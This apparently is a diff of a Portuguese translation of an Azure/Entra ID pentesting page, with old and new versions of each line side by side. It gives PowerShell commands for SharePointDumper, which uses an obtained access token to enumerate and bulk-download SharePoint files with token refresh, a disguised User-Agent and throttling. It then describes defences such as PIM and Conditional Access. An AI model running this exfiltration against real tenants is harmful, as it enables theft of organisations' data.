> Clientes FOCI TRUE suportam refresh entre dispositivos; clientes FOCI FALSE frequentemente requerem `-Origin` para satisfazer a validação de origem da reply URL.
> FOCI TRUE clients suportam refresh entre dispositivos; FOCI FALSE clients frequentemente exigem `-Origin` para satisfazer a validação de origem da reply URL.
### Executando SharePointDumper para enumeration + exfiltration
- Dump básico com UA / proxy / throttling personalizado:
- Dump básico com custom UA / proxy / throttling:
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
```
@@ -1132,47 +1207,47 @@ Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
```
- **Retomar** execuções interrompidas (reenumera, mas ignora itens baixados):
- **Retomar** execuções interrompidas (reinicia a enumeração, mas ignora itens baixados):
```powershell
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
```
- **Atualização automática do token em HTTP 401** (requer EntraTokenAid carregado):
- **Atualização automática de token em HTTP 401** (requer EntraTokenAid carregado):
```powershell
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
```
Notas operacionais:
- Prefere tokens **CAE-enabled** para evitar expiração no meio da execução; tentativas de atualização não são registradas no log da API da ferramenta.
- Gera **CSV/JSON request logs** para **Graph + SharePoint** e oculta por padrão os tokens de download incorporados do SharePoint (configurável).
- Suporta **User-Agent personalizado**, **HTTP proxy**, **atraso por requisição + jitter**, e **desligamento seguro com Ctrl+C** para modelagem de tráfego durante testes de detecção/IR.
- Prefere tokens **CAE-enabled** para evitar expiração durante a execução; tentativas de refresh **não** são registradas no log da API da ferramenta.
- Gera **CSV/JSON request logs** para **Graph + SharePoint** e redige tokens de download do SharePoint embutidos por padrão (configurável).
- Suporta **custom User-Agent**, **HTTP proxy**, **per-request delay + jitter**, e **Ctrl+C-safe shutdown** para modelagem de tráfego durante testes de detecção/IR.
## Escalada de Privilégios do Entra ID
## Escalada de Privilégios em Entra ID
{{#ref}}
../az-privilege-escalation/az-entraid-privesc/
{{#endref}}
## Escalada de Privilégios do Azure
## Escalada de Privilégios no Azure
{{#ref}}
../az-privilege-escalation/az-authorization-privesc.md
{{#endref}}
## Mecanismos Defensivos
## Mecanismos de Defesa
### Privileged Identity Management (PIM)
Privileged Identity Management (PIM) no Azure ajuda a **evitar que privilégios excessivos** sejam atribuídos a usuários desnecessariamente.
Uma das principais funcionalidades do PIM é que ele permite não atribuir papéis a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Depois, sempre que o usuário quiser ativar esse papel, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Em seguida, um **admin precisa aprovar** a solicitação.\
Observe que o usuário também poderá solicitar a **extensão** do tempo.
Uma das principais funcionalidades fornecidas pelo PIM é que ele permite não atribuir roles a principals que ficam constantemente ativos, mas torná-los **elegíveis por um período de tempo (por exemplo, 6 meses)**. Então, sempre que o usuário quiser ativar esse role, ele precisa solicitá-lo indicando o tempo que precisa do privilégio (por exemplo, 3 horas). Então um **administrador precisa aprovar** a solicitação.\
Note que o usuário também poderá solicitar a **extensão** do tempo.
Além disso, o **PIM envia e-mails** sempre que um papel privilegiado é atribuído a alguém.
Além disso, o **PIM envia e-mails** sempre que um papel privilegiado está sendo atribuído a alguém.
<figure><img src="../../../images/image (354).png" alt=""><figcaption></figcaption></figure>
Quando o PIM está habilitado é possível configurar cada papel com certos requisitos como:
Quando o PIM está habilitado é possível configurar cada role com certos requisitos, como:
- Duração máxima (horas) da ativação
- Exigir MFA na ativação
@@ -1181,9 +1256,9 @@ Quando o PIM está habilitado é possível configurar cada papel com certos requ
- Exigir informações de ticket na ativação
- Exigir aprovação para ativar
- Tempo máximo para expirar as atribuições elegíveis
- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações acontecerem com esse papel
- Muitas outras configurações sobre quando e para quem enviar notificações quando certas ações ocorrerem com esse papel
### Políticas de Conditional Access
### Conditional Access Policies
Check:
@@ -1193,19 +1268,19 @@ Check:
### Entra Identity Protection
Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou uma tentativa de sign-in é muito arriscada** para ser aceita, permitindo **bloquear** o usuário ou a tentativa de sign-in.
Entra Identity Protection é um serviço de segurança que permite **detectar quando um usuário ou um sign-in é arriscado demais** para ser aceito, possibilitando **bloquear** o usuário ou a tentativa de sign-in.
Permite que o admin o configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Porém, por padrão está completamente **desabilitado**:
Permite que o admin configure para **bloquear** tentativas quando o risco for "Low and above", "Medium and above" ou "High". Embora, por padrão, esteja completamente **disabled**:
<figure><img src="../../../images/image (356).png" alt=""><figcaption></figcaption></figure>
> [!TIP]
> Hoje em dia é recomendado adicionar essas restrições via políticas de Conditional Access, onde é possível configurar as mesmas opções.
> Hoje em dia é recomendado adicionar essas restrições via Conditional Access policies quando possível, pois é onde é possível configurar as mesmas opções.
### Entra Password Protection
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login sem sucesso ocorrem**.\
Também permite **proibir uma lista personalizada de senhas** que você precisa fornecer.
Entra Password Protection ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) é um recurso de segurança que **ajuda a prevenir o abuso de senhas fracas, bloqueando contas quando várias tentativas de login malsucedidas acontecem**.\
Também permite **banir uma lista de senhas customizada** que você precisa fornecer.
Pode ser **aplicado tanto** no nível cloud quanto no Active Directory on-premises.
@@ -1213,7 +1288,7 @@ O modo padrão é **Audit**:
<figure><img src="../../../images/image (355).png" alt=""><figcaption></figcaption></figure>
## Referências
## References
- [https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units](https://learn.microsoft.com/en-us/azure/active-directory/roles/administrative-units)
- [SharePointDumper](https://github.com/zh54321/SharePointDumper)